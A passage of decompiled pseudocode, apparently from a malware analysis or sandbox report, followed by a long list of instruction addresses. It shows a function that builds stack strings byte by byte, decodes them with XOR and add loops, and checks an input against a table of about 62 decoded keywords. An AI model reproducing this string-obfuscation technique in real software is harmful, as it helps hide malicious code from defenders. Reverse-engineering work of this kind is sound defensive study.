					 *((char*)(_t1153 + _t922 + 0x1e0)) =  *((intOrPtr*)(_t1153 + _t922 + 0x1e0)) +  *((intOrPtr*)(_t1153 + _t922 + 0x17c));
					_t922 = _t922 + 1;
				} while (_t922 < 6);
				_a496 = 0xe4;
				_a497 = 0xb1;
				_a498 = 0xf5;
				_a499 = 0x81;
				_a500 = 0x8f;
				_a501 = 0x5f;
				_a380 = 0x85;
				_a381 = 0xbd;
				_a382 = 0x71;
				_a383 = 0xee;
				_a384 = 0xb1;
				_a385 = 0xa1;
				_t923 = 0;
				do {
					 *((char*)(_t1153 + _t923 + 0x1f0)) =  *((intOrPtr*)(_t1153 + _t923 + 0x1f0)) +  *((intOrPtr*)(_t1153 + _t923 + 0x17c));
					_t923 = _t923 + 1;
				} while (_t923 < 6);
				_a512 = 0x31;
				_a513 = 0xec;
				_a514 = 0xde;
				_a515 = 0x4b;
				_a516 = 0xe6;
				_a517 = 0x37;
				_a380 = 0x3f;
				_a381 = 0x75;
				_a382 = 0x90;
				_a383 = 0x19;
				_a384 = 0x7b;
				_a385 = 0xc9;
				_t924 = 0;
				do {
					_t1000 =  *((intOrPtr*)(_t1153 + _t924 + 0x200)) +  *((intOrPtr*)(_t1153 + _t924 + 0x17c));
					 *((char*)(_t1153 + _t924 + 0x200)) =  *((intOrPtr*)(_t1153 + _t924 + 0x200)) +  *((intOrPtr*)(_t1153 + _t924 + 0x17c));
					_t924 = _t924 + 1;
				} while (_t924 < 6);
				_a35 = 0xf0;
				_a392 = 0xf0;
				_push( &_a32);
				_t1137 = 4;
				_a32 = 0x35;
				_a33 = 0x9d;
				_a34 = 0xdc;
				_a393 = 0xac;
				_a394 = 0xfa;
				_a395 = 0x45;
				_a96 = E004073E0( &_a392, _t1137, _t1000);
				_a564 = 0x28;
				_a565 = 0x3b;
				_a566 = 0x2e;
				_a567 = 0x33;
				_a568 = 0x34;
				_a569 = 0x3d;
				_a570 = 0x5a;
				_t928 = 0;
				do {
					 *(_t1153 + _t928 + 0x238) =  *(_t1153 + _t928 + 0x238) ^ 0x0000005a;
					_t928 = _t928 + 1;
				} while (_t928 < 7);
				_push( &_a704);
				_t1138 = 5;
				_a704 = 0x7a;
				_a705 = 0xb8;
				_a706 = 0x1e;
				_a707 = 0x91;
				_a708 = 0xf2;
				_a380 = 0xf2;
				_a381 = 0xe4;
				_a382 = 0x7a;
				_a383 = 0xdd;
				_a384 = 0x54;
				_a112 = E004073E0( &_a380, _t1138);
				_a404 = 0x29;
				_a405 = 0x6e;
				_a406 = 0x9e;
				_a407 = 0x34;
				_a408 = 0xd0;
				_a376 = 7;
				_a377 = 9;
				_a378 = 0xf1;
				_a379 = 0x42;
				_a380 = 0xd0;
				_t932 = 0;
				do {
					 *(_t1153 + _t932 + 0x198) =  *(_t1153 + _t932 + 0x198) ^  *(_t1153 + _t932 + 0x17c);
					_t932 = _t932 + 1;
				} while (_t932 < 5);
				_a380 = 0xd0;
				_push(5);
				_push( &_a688);
				_a688 = 0xdb;
				_a689 = 0x69;
				_a690 = 0x84;
				_a691 = 0x23;
				_a692 = 3;
				_a381 = 0xfe;
				_a382 = 0x93;
				_a383 = 0xfa;
				_a384 = 0x96;
				_t934 = E00407370( &_a380);
				_push(9);
				_push( &_a808);
				_a108 = _t934;
				_a808 = 0x12;
				_a809 = 0xa1;
				_a810 = 0x1d;
				_a811 = 0x83;
				_a812 = 0x74;
				_a813 = 0xe9;
				_a814 = 0x5b;
				_a815 = 0x5a;
				_a816 = 0x4b;
				_a380 = 0x93;
				_a381 = 0xf1;
				_a382 = 0x94;
				_a383 = 0xe6;
				_a384 = 0x8d;
				_a385 = 0xe8;
				_a386 = 0x84;
				_a387 = 0xe1;
				_a388 = 0x98;
				_t935 = E00407370( &_a380);
				_t1154 = _t1153 + 0x10;
				_a124 = _t935;
				_a624 = 0xbc;
				_a625 = 0xb0;
				_a626 = 0xb1;
				_a627 = 0xab;
				_a628 = 0xbe;
				_a629 = 0xbc;
				_a630 = 0xab;
				_a631 = 0xdf;
				_t936 = 0;
				do {
					 *(_t1154 + _t936 + 0x270) =  *(_t1154 + _t936 + 0x270) ^ 0x000000df;
					_t936 = _t936 + 1;
				} while (_t936 < 8);
				_a608 = 0x4b;
				_a609 = 0x56;
				_a610 = 0x4f;
				_a611 = 0x43;
				_a612 = 0x5e;
				_a613 = 0x42;
				_a614 = 0x4b;
				_a615 = 0x2e;
				_t937 = 0;
				do {
					 *(_t1154 + _t937 + 0x260) =  *(_t1154 + _t937 + 0x260) ^ 0x0000002e;
					_t937 = _t937 + 1;
				} while (_t937 < 8);
				_a424 = 0xa7;
				_a425 = 0xc7;
				_a426 = 0xbe;
				_a427 = 0x8e;
				_a428 = 0x14;
				_a380 = 0xbf;
				_a381 = 0xa2;
				_a382 = 0xa6;
				_a383 = 0xe1;
				_a384 = 0xec;
				_t938 = 0;
				do {
					 *((char*)(_t1154 + _t938 + 0x1a8)) =  *((intOrPtr*)(_t1154 + _t938 + 0x1a8)) +  *((intOrPtr*)(_t1154 + _t938 + 0x17c));
					_t938 = _t938 + 1;
				} while (_t938 < 5);
				_push(4);
				_push( &_a40);
				_a40 = 0x83;
				_a41 = 0x40;
				_a42 = 0xeb;
				_a43 = 0x5c;
				_a392 = 0x45;
				_a393 = 0x22;
				_a394 = 0x4c;
				_a395 = 0x39;
				_t940 = E00407370( &_a392);
				_push(0xb);
				_push( &_a856);
				_a52 = _t940;
				_a856 = 0x88;
				_a857 = 0x9c;
				_a858 = 0x95;
				_a859 = 0x1d;
				_a860 = 0xbd;
				_a861 = 0x48;
				_a862 = 0x67;
				_a863 = 0x6a;
				_a864 = 0xa9;
				_a865 = 0xb0;
				_a866 = 0xbc;
				_a380 = 0x86;
				_a381 = 0xe1;
				_a382 = 0x8e;
				_a383 = 0xe2;
				_a384 = 0x86;
				_a385 = 0xab;
				_a386 = 0xc8;
				_a387 = 0xad;
				_a388 = 0xdf;
				_a389 = 0xab;
				_a390 = 0xd8;
				_a60 = E00407370( &_a380);
				_a774 = 0xe;
				_a380 = 0xe;
				_a768 = 0xc4;
				_a769 = 0x64;
				_a770 = 0x99;
				_a771 = 0x7b;
				_a772 = 0xe3;
				_a773 = 0x8b;
				_a381 = 0xee;
				_a382 = 0x8f;
				_a383 = 0x1c;
				_a384 = 0xf6;
				_a385 = 0xb;
				_a386 = 0xa3;
				_a64 = E004073E0( &_a380, 7,  &_a768);
				_push(5);
				_push( &_a692);
				_a692 = 0x39;
				_a693 = 0xcb;
				_a694 = 0xd1;
				_a695 = 0x15;
				_a696 = 0x5b;
				_a376 = 0x1c;
				_a377 = 0x74;
				_a378 = 0x11;
				_a379 = 0x7d;
				_a380 = 0xd;
				_t946 = E00407370( &_a376);
				_t1156 = _t1154 + 0x18;
				_a72 = _t946;
				_a596 = 0xbe;
				_a597 = 0x45;
				_a598 = 0xf2;
				_a599 = 0x15;
				_a600 = 0x9d;
				_a601 = 0x1e;
				_a602 = 0xdb;
				_a603 = 0x81;
				_a376 = 0xd7;
				_a377 = 0x27;
				_a378 = 0x9f;
				_a379 = 0x3b;
				_a380 = 0xfe;
				_a381 = 0x71;
				_a382 = 0xb6;
				_a383 = 0x81;
				_t947 = 0;
				do {
					 *(_t1156 + _t947 + 0x258) =  *(_t1156 + _t947 + 0x258) ^  *(_t1156 + _t947 + 0x17c);
					_t947 = _t947 + 1;
				} while (_t947 < 8);
				_a584 = 0xe8;
				_a585 = 0xe6;
				_a586 = 0xf1;
				_a587 = 0xed;
				_a588 = 0xe6;
				_a589 = 0xef;
				_a590 = 0x83;
				_t948 = 0;
				do {
					 *(_t1156 + _t948 + 0x248) =  *(_t1156 + _t948 + 0x248) ^ 0x00000083;
					_t948 = _t948 + 1;
				} while (_t948 < 7);
				_push(8);
				_push( &_a792);
				_a792 = 0x26;
				_a793 = 0xee;
				_a794 = 0x2d;
				_a795 = 0xb4;
				_a796 = 0x7d;
				_a797 = 0xce;
				_a798 = 0xb3;
				_a799 = 0xa6;
				_a380 = 0xcc;
				_a381 = 0xa1;
				_a382 = 0xce;
				_a383 = 0xb4;
				_a384 = 0xdd;
				_a385 = 0xb1;
				_a386 = 0xdd;
				_a387 = 0xbc;
				_t949 = E00407370( &_a380);
				_t1157 = _t1156 + 8;
				_a84 = _t949;
				_a632 = 0xbf;
				_a633 = 0x70;
				_a634 = 0x89;
				_a635 = 0x13;
				_a636 = 0x32;
				_a637 = 0x3a;
				_a638 = 0xee;
				_a639 = 0xb6;
				_a380 = 0xd2;
				_a381 = 9;
				_a382 = 0xed;
				_a383 = 0x7c;
				_a384 = 0x5f;
				_a385 = 0x5b;
				_a386 = 0x87;
				_a387 = 0xb6;
				_t950 = 0;
				do {
					 *(_t1157 + _t950 + 0x278) =  *(_t1157 + _t950 + 0x278) ^  *(_t1157 + _t950 + 0x17c);
					_t950 = _t950 + 1;
				} while (_t950 < 8);
				_a648 = 0xc2;
				_a649 = 0xc0;
				_a650 = 0xcc;
				_a651 = 0xa8;
				_a652 = 0x1b;
				_a653 = 0xe8;
				_a654 = 0xb0;
				_a655 = 0xac;
				_a380 = 0xb2;
				_a381 = 0xb2;
				_a382 = 0xa5;
				_a383 = 0xde;
				_a384 = 0x7a;
				_a385 = 0x8b;
				_a386 = 0xc9;
				_a387 = 0xac;
				_t951 = 0;
				do {
					 *(_t1157 + _t951 + 0x288) =  *(_t1157 + _t951 + 0x288) ^  *(_t1157 + _t951 + 0x17c);
					_t951 = _t951 + 1;
				} while (_t951 < 8);
				_a528 = 0x20;
				_a529 = 0x7d;
				_a530 = 0xb6;
				_a531 = 0x83;
				_a532 = 0x26;
				_a533 = 0x8e;
				_a534 = 0xdf;
				_a380 = 0x52;
				_a381 = 0xe9;
				_a382 = 0xad;
				_a383 = 0xaa;
				_a384 = 0x3f;
				_a385 = 0xd6;
				_a386 = 0x21;
				_t952 = 0;
				do {
					 *((char*)(_t1157 + _t952 + 0x210)) =  *((intOrPtr*)(_t1157 + _t952 + 0x210)) +  *((intOrPtr*)(_t1157 + _t952 + 0x17c));
					_t952 = _t952 + 1;
				} while (_t952 < 7);
				_a504 = 0x49;
				_a505 = 0x5e;
				_a506 = 0xeb;
				_a507 = 0x2a;
				_a508 = 0x9c;
				_a509 = 0xed;
				_a380 = 0x3b;
				_a381 = 0x37;
				_a382 = 0x9b;
				_a383 = 0x4f;
				_a384 = 0xb2;
				_a385 = 0xed;
				_t953 = 0;
				do {
					 *(_t1157 + _t953 + 0x1f8) =  *(_t1157 + _t953 + 0x1f8) ^  *(_t1157 + _t953 + 0x17c);
					_t953 = _t953 + 1;
				} while (_t953 < 6);
				_push(9);
				_push( &_a832);
				_a832 = 0x5f;
				_a833 = 0x23;
				_a834 = 0x3b;
				_a835 = 0xab;
				_a836 = 0x46;
				_a837 = 0x35;
				_a838 = 0x50;
				_a839 = 0x11;
				_a840 = 7;
				_a380 = 0x11;
				_a381 = 0x62;
				_a382 = 7;
				_a383 = 0x69;
				_a384 = 0xd;
				_a385 = 0x60;
				_a386 = 1;
				_a387 = 0x68;
				_a388 = 4;
				_t955 = E00407370( &_a380);
				_t1158 = _t1157 + 8;
				_a92 = _t955;
				_a640 = 0x8f;
				_a641 = 0x99;
				_a642 = 0x8e;
				_a643 = 0x8a;
				_a644 = 0x95;
				_a645 = 0x9f;
				_a646 = 0x99;
				_a647 = 0xfc;
				_t956 = 0;
				do {
					 *(_t1158 + _t956 + 0x280) =  *(_t1158 + _t956 + 0x280) ^ 0x000000fc;
					_t956 = _t956 + 1;
				} while (_t956 < 8);
				_a383 = 0x8a;
				_push(9);
				_push( &_a820);
				_a820 = 0xe6;
				_a821 = 0xd3;
				_a822 = 0xe5;
				_a823 = 0xc2;
				_a824 = 0xef;
				_a825 = 0xd8;
				_a826 = 0xd5;
				_a827 = 0x56;
				_a828 = 0x50;
				_a380 = 0xfb;
				_a381 = 0x88;
				_a382 = 0xe7;
				_a384 = 0xef;
				_a385 = 0x8d;
				_a386 = 0xe2;
				_a387 = 0x86;
				_a388 = 0xff;
				_t1013 = E00407370( &_a380);
				_t1159 = _t1158 + 8;
				_a783 = 0xc6;
				_a380 = 0xc6;
				_push( &_a776);
				asm("pushad");
				asm("popad");
				_t1140 = 8;
				_a776 = 0x54;
				_a777 = 0x44;
				_a778 = 0x24;
				_a779 = 0xa0;
				_a780 = 0x98;
				_a781 = 0x73;
				_a782 = 0x3a;
				_a381 = 0x5f;
				_a382 = 0x1d;
				_a383 = 0xf7;
				_a384 = 0xc5;
				_a385 = 0x49;
				_a386 = 0x2b;
				_a387 = 0x27;
				_a376 = E004073E0( &_a380, _t1140);
				_a532 = 0x74;
				_a533 = 0x72;
				_a534 = 0x64;
				_a535 = 0x6f;
				_a536 = 0x64;
				_a537 = 0x75;
				_a538 = 1;
				_t961 = 0;
				do {
					 *(_t1159 + _t961 + 0x218) =  *(_t1159 + _t961 + 0x218) ^ 0x00000001;
					_t961 = _t961 + 1;
				} while (_t961 < 7);
				_a36 = 0xc3;
				_a37 = 0xbd;
				_a38 = 0x29;
				_a39 = 0xe7;
				_a392 = 0xe7;
				_a393 = 0x5e;
				_a394 = 0xca;
				_a395 = 0xb4;
				_t964 = E004073E0( &_a392, 4,  &_a36);
				_push(4);
				_push( &_a40);
				_t1145 = _t964;
				_a40 = 0x91;
				_a41 = 0xb2;
				_a42 = 0;
				_a43 = 0x98;
				_a388 = 0xe0;
				_a389 = 0x99;
				_a390 = 0xf6;
				_a391 = 0x83;
				_t965 = E00407370( &_a388);
				_t1160 = _t1159 + 8;
				_t1148 = _t965;
				_a436 = 0xad;
				_a437 = 0xbb;
				_a438 = 0xa1;
				_a439 = 0xa6;
				_a440 = 0xd4;
				_t966 = 0;
				do {
					 *(_t1160 + _t966 + 0x1b8) =  *(_t1160 + _t966 + 0x1b8) ^ 0x000000d4;
					_t966 = _t966 + 1;
				} while (_t966 < 5);
				_a576 = 0x64;
				_a577 = 0xb0;
				_a578 = 0x5d;
				_a579 = 0x6c;
				_a580 = 0x63;
				_a581 = 0xb4;
				_a582 = 0xf8;
				_a392 = 0xfd;
				_a393 = 0xc0;
				_a394 = 4;
				_a395 = 0xf7;
				_a396 = 5;
				_a397 = 0xb1;
				_a398 = 8;
				_t967 = 0;
				do {
					 *((char*)(_t1160 + _t967 + 0x240)) =  *((intOrPtr*)(_t1160 + _t967 + 0x240)) +  *((intOrPtr*)(_t1160 + _t967 + 0x188));
					_t967 = _t967 + 1;
				} while (_t967 < 7);
				_push( &_a28);
				_t1142 = 3;
				_a28 = 0x5a;
				_a29 = 0x34;
				_a30 = 0xa;
				_a392 = 0xa;
				_a393 = 0x4c;
				_a394 = 0x22;
				_t970 = E004073E0( &_a392, _t1142);
				_a16 = 0x4a;
				_a17 = 0x7b;
				_a18 = 0xef;
				_a19 = 0x45;
				_a388 = 0x1c;
				_a389 = 0xf9;
				_a390 = 0x81;
				_a391 = 0xbb;
				_t1047 = 0;
				do {
					 *((intOrPtr*)(_t1160 + _t1047 + 0x14)) =  *((intOrPtr*)(_t1160 + _t1047 + 0x14)) +  *((intOrPtr*)(_t1160 + _t1047 + 0x188));
					_t1047 = _t1047 + 1;
				} while (_t1047 < 4);
				_a136 = _a56;
				_a144 = _a64;
				_a132 =  &_a464;
				_a140 = _a96;
				_a148 = _a104;
				_a152 =  &_a560;
				_a156 =  &_a544;
				_a160 =  &_a448;
				_a164 =  &_a552;
				_a172 = _a72;
				_a180 = _a80;
				_a168 =  &_a668;
				_a176 = _a112;
				_a184 =  &_a456;
				_a188 =  &_a520;
				_a192 =  &_a488;
				_a200 = _a120;
				_a208 = _a88;
				_a196 =  &_a592;
				_a204 =  &_a416;
				_a212 =  &_a400;
				_a216 =  &_a432;
				_a220 =  &_a616;
				_a224 =  &_a24;
				_a232 = _a128;
				_a228 =  &_a472;
				_a240 = _a48;
				_a236 =  &_a656;
				_a244 =  &_a480;
				_a248 =  &_a496;
				_a252 =  &_a512;
				_a256 = _a100;
				_a260 =  &_a568;
				_a264 = _a116;
				_a268 =  &_a408;
				_a272 = _a108;
				_a276 = _a124;
				_a280 =  &_a624;
				_a284 =  &_a608;
				_a288 =  &_a424;
				_t1143 = _a916;
				_a292 = _a52;
				_a296 = _a60;
				_a300 = _a68;
				_a304 = _a76;
				_a308 =  &_a600;
				_a312 =  &_a584;
				_a316 = _a84;
				_a320 =  &_a632;
				_a324 =  &_a648;
				_a328 =  &_a528;
				_a332 =  &_a504;
				_a336 = _a92;
				_a340 =  &_a640;
				_a348 = _a380;
				_a352 =  &_a536;
				_a364 =  &_a440;
				_a356 = _t1145;
				_a344 = _t1013;
				_a360 = _t1148;
				_a368 =  &_a576;
				_a372 = _t970;
				_a376 =  &_a20;
				_t1146 = 0;
				while(1) {
					_a16 = _a16 ^ _a16 * 0x00000038 & 0x000000ff;
					 *0x431c86 = 0x37;
					_t974 = E00425320(_t1143,  *((intOrPtr*)(_t1160 + 0x84 + _t1146 * 4)));
					_t1160 = _t1160 + 8;
					if(_t974 != 0) {
						break;
					}
					_t1146 = _t1146 + 1;
					if(_t1146 < 0x3e) {
						continue;
					} else {
						if(_a892 >= 0x10) {
							_push(_a872);
							L00424BCD();
							_t1160 = _t1160 + 4;
						}
						_t976 = 1;
					}
					L66:
					 *[fs:0x0] = _a900;
					return E00424873(_t976, _a896);
				}
				if(_a892 < 0x10) {
					_t976 = 0;
				} else {
					_push(_a872);
					L00424BCD();
					_t1160 = _t1160 + 4;
					_t976 = 0;
				}
				goto L66;
			}

0x00409436
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c5e
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c7e
0x00409c88
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d15
0x00409d21
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7cf
0x0040a7d7
0x0040a7d8
0x0040a7db
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f8
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a936
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa11
0x0040aa1d
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
